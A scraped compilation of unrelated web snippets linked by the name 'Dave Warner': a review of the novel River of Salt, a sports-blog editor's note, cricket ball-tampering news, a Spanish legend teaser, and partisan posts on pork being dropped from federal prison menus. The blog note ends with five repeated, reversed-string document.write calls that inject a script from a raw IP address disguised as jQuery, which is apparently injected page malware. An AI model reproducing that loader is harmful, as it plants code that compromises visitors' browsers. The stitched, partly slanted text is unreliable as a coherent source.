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REVIEW

River of Salt by Dave Warner

Filled with references from the 60’s this book brought back many memories of my life...not of being in the mob or a hitman but of songs and cars and beaches and fashion and so much more. I can’t say I understood main character hitman Blake but I did like him – in spite of his profession. I like a bad guy with a heart of gold and Blake Sullivan was such a man. This book made me think of movies and television shows of the 60’s and had me hoping that Blake could keep his little slice of heaven in Australia. The characters in this book are not perfect and all had flaws...believable flaws that made them human. This is one murder mystery that had me guessing almost to the very end. The suspects who might have been the murderer were many and all plausible. This is the first book I have read by this author and I have to say that I would definitely be interested in readng more of his work when I find it.

Thank you to NetGalley and Fremantle Press for the ARC – This is my honest review.

5 Stars

https://www.goodreads.com/book/show/42315429-river-of-salt

BLURB

1961, Philadelphia. After having to give up his brother to save his own life, hitman Blake Saunders flees the Mob and seeks refuge on the other side of the world. Two years later he has been reborn in a tiny coastal Australian town. The ghosts of the past still haunt him, but otherwise Coral Shoals is paradise. Blake surfs, and plays guitar in his own bar, the Surf Shack. But then the body of a young woman is found at a local motel, and evidence links her to the Surf Shack. When Blake’s friend is arrested, and the local sergeant doesn’t want to know, it becomes clear to Blake – who knows a thing or two about murder – that the only way to protect his paradise is to find the killer. 'Part Goodfellas and part love letter to Australian coastal towns, this wonderfully imagined crime novel is like riding the perfect wave.' Michael Robotham ‘Dave Warner captures the heyday and spirit of the surf music scene perfectly. This is a pitch-perfect crime thriller of epic twists and turns.’ Jim Skiathitis, composer, guitarist, The Atlantics

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River of Salt book review for Books+Publishing [$]

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To The TPA Readership...

Dear readers, Apologies for personally not having updated this blog for some time. I know you've been missing my semi-regular ironic musings on sport, despite the content having become increasingly less about sport and more about whatever topic manages to elicit enough bile  from within me to hastily pen an ill-reasoned opinion piece. Peter FitzSimons, for example. But I pledge to have a batch of fresh articles up over the next couple of weeks for you to feast your insatiable, free-loading eyes upon. After all, the NBA playoffs are here and that's always an entertaining lark, while we are edging closer to the Ashes series in England - and I've already ghost-written an article on how Dave Warner accidentally stumbles into an embarrassing 'cottaging' scenario while sight-seeing in South London after a 5-0 series loss. Then there's rugby league and AFL to think about... and don't think I've matured enough to stop writing about the stupid off-field drunken/group sex-oriented dramas those blokes get themselves into on a (literal) weekly basis, because I haven't. So sit tight in your office cubicles, CityRail trains, or where-ever you may be while reading this, and rest assured that The Public Apology, as you know it, still exists. Yours sincerely, Dave Edwards, The Public Apology chief editor and founder document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join(""))

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Three Australian Cricketers To Leave Over Ball-tampering Scandal

Three Australian Cricketers To Leave Over Ball-tampering Scandal ##AustralianCricketTeam #CameronBancroft #DaveWarner

Steven Smith (right) and Cameron Bancroft (left). Getty Images

Cricket Australia on Wednesday announced that three members of the Australian cricket team will be sent home from Johannesburg over an embarrassing ball-tampering scandal.

Captain Steve Smith, vice captain Dave Warner and fielder Cameron Bancroft will be replaced by three other players for the fourth test against South Africa.

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LA LEYENDA AMERICANA DEL BANSHEE DEL RIO TAR

LA LEYENDA AMERICANA DEL BANSHEE DEL RÍO TAR Entre las distintas criaturas sobrenaturales que habitan este mundo, uno de los más misteriosas es la del alma en pena. También conocido como el mensajero de la muerte, el ominoso grito o alarido de la criatura buscaría infundir miedo en las almas. Hasta allí, esta leyenda irlandesa y escocesa llamada Banshee se parece a lo que conocemos en…

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Obama administration bans pork from federal prison menus

Obama administration bans pork from federal prison menus

Obama bowing to the king of Islamic Saudi Arabia Lisa Rein reports for The Washington Post, Oct. 9, 2015, that U.S. pork producers are in an uproar after the Obama administration abruptly removed bacon, pork chops, pork links, ham and all other pig products from the menu for 206,000 federal prison inmates. The ban began on October 1, the beginning of a new fiscal year. The Department of Justice’s…

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New Post has been published on http://unclesamsmisguidedchildren.com/pork-banned-from-federal-prisons/

Pork Banned from Federal Prisons

Federal inmates can now have …turkey bacon- because prisoners are so much more “health conscious” now. But pork products have been banned, ostensibly because “inmates don’t like pork,” according to a survey conducted by the Federal Bureau of Prisons.

Ibrahim Hooper from CAIR praised the decision.

“In general we welcome the change because it’s facilitating the accommodation of Muslim inmates. We hope it’s not an indication of an increasing number of Muslims in the prison system. This is just the kind of thing that drives them [anti-Islam groups] crazy. It will stoke the fires of Islamophobia based on the usual conspiracy theories.” Ibrahim Hooper

Pork products are banned in federal prisons (as of Oct 1). The excuse is that inmates don’t like pork. The Federal Bureau of Prisons also says that pork is too expensive. That actual answer may lie in convenience for prison kitchen staff and the issue of inmate differences.

Federal inmates will no longer be allowed pork for their daily menu

No more bacon or pulled pork sandwiches

Pork Chops, Bacon- real bacon the kind that makes food taste good, pork loin that can easily be made into sandwiches, these are the things they have banned. And pork is slightly cheaper than beef, so the price argument is shall we say not quite right.

Then let’s look at the leanness of pork. A 6 ounce lean  pork chop contains around 200 calories and 3 grams of fat. A 6 ounce lean hamburger patty if prepared properly has around 164 calories and 3 grams of saturated fat.  Not much difference there.

In federal prisons for 2016, you can have a fish sandwich on a hamburger bun. You can have hamburger on a hamburger bun. Or a chicken sandwich on a hamburger bun. And by golly, on Saturdays at lunch it says “hot dogs” on the menu (on hot dog buns). Of course since pork products are banned, they are probably beef or chicken dogs.

Or you can have soy substitutes for anything. Yum Yum.  And turkey bacon… grrrr. That should oughtta reduce recidivism in the prison system- just make sure their food is so bad no one wants to return there.

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Pork Industry upset

The Washington Post reported,

“…I find it hard to believe that a survey would have found a majority of any population saying, ‘No thanks, I don’t want any bacon,’” said Dave Warner, a spokesman for the Washington-based trade association, which represents the nation’s hog farmers.

“We’re going to find out how this came about and go from there,” Warner said. “We wouldn’t rule out any options to resolve this.” He said the association “is still formulating our strategy” to reverse the prison decision, which the industry first learned about Monday…”

Bacon… real bacon

There are slightly less than 206,000 federal inmates, some of which have actually complained about the lack of pork on the menu.

A former Federal inmate we spoke to says that there were only a couple of pork choices for the menu anyway. He stated it is difficult for  the prison cooks to make separate meals for each different inmate, which is a likely reason they banned the pork products – Muslim and Jewish inmates won’t eat them.

Federal inmates can still buy pork products at the commissary- things like pork rinds, and precooked bacon, for example.

The real reason pork banned? It’s easier

There are other jail facilities around the U.S. that have prohibited pork products, like Tarrant County jails. But the Texas Department of Criminal Justice still serves pork and even has their own pork processing plant. So why have some places banned pork? It’s easier.

So as far as being an “islamophobe” goes,  Ibrahim Hooper, here is the bottom line for pork products being banned. Let’s cut the b.s. excuses and tell the truth.

“In our contract with respective food vendors we express that there will be no pork products served. Simply, it just makes it easier so we don’t violate any medical or religious diets of any kind.” Tarrant County Jail spokesman Terry Grisham

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Ignorance is a curable disease. Stupidity is terminal.

Dave Warner via article in @RedBulletinUSA (http://www.redbulletin.com/us/us/culture/learning-man)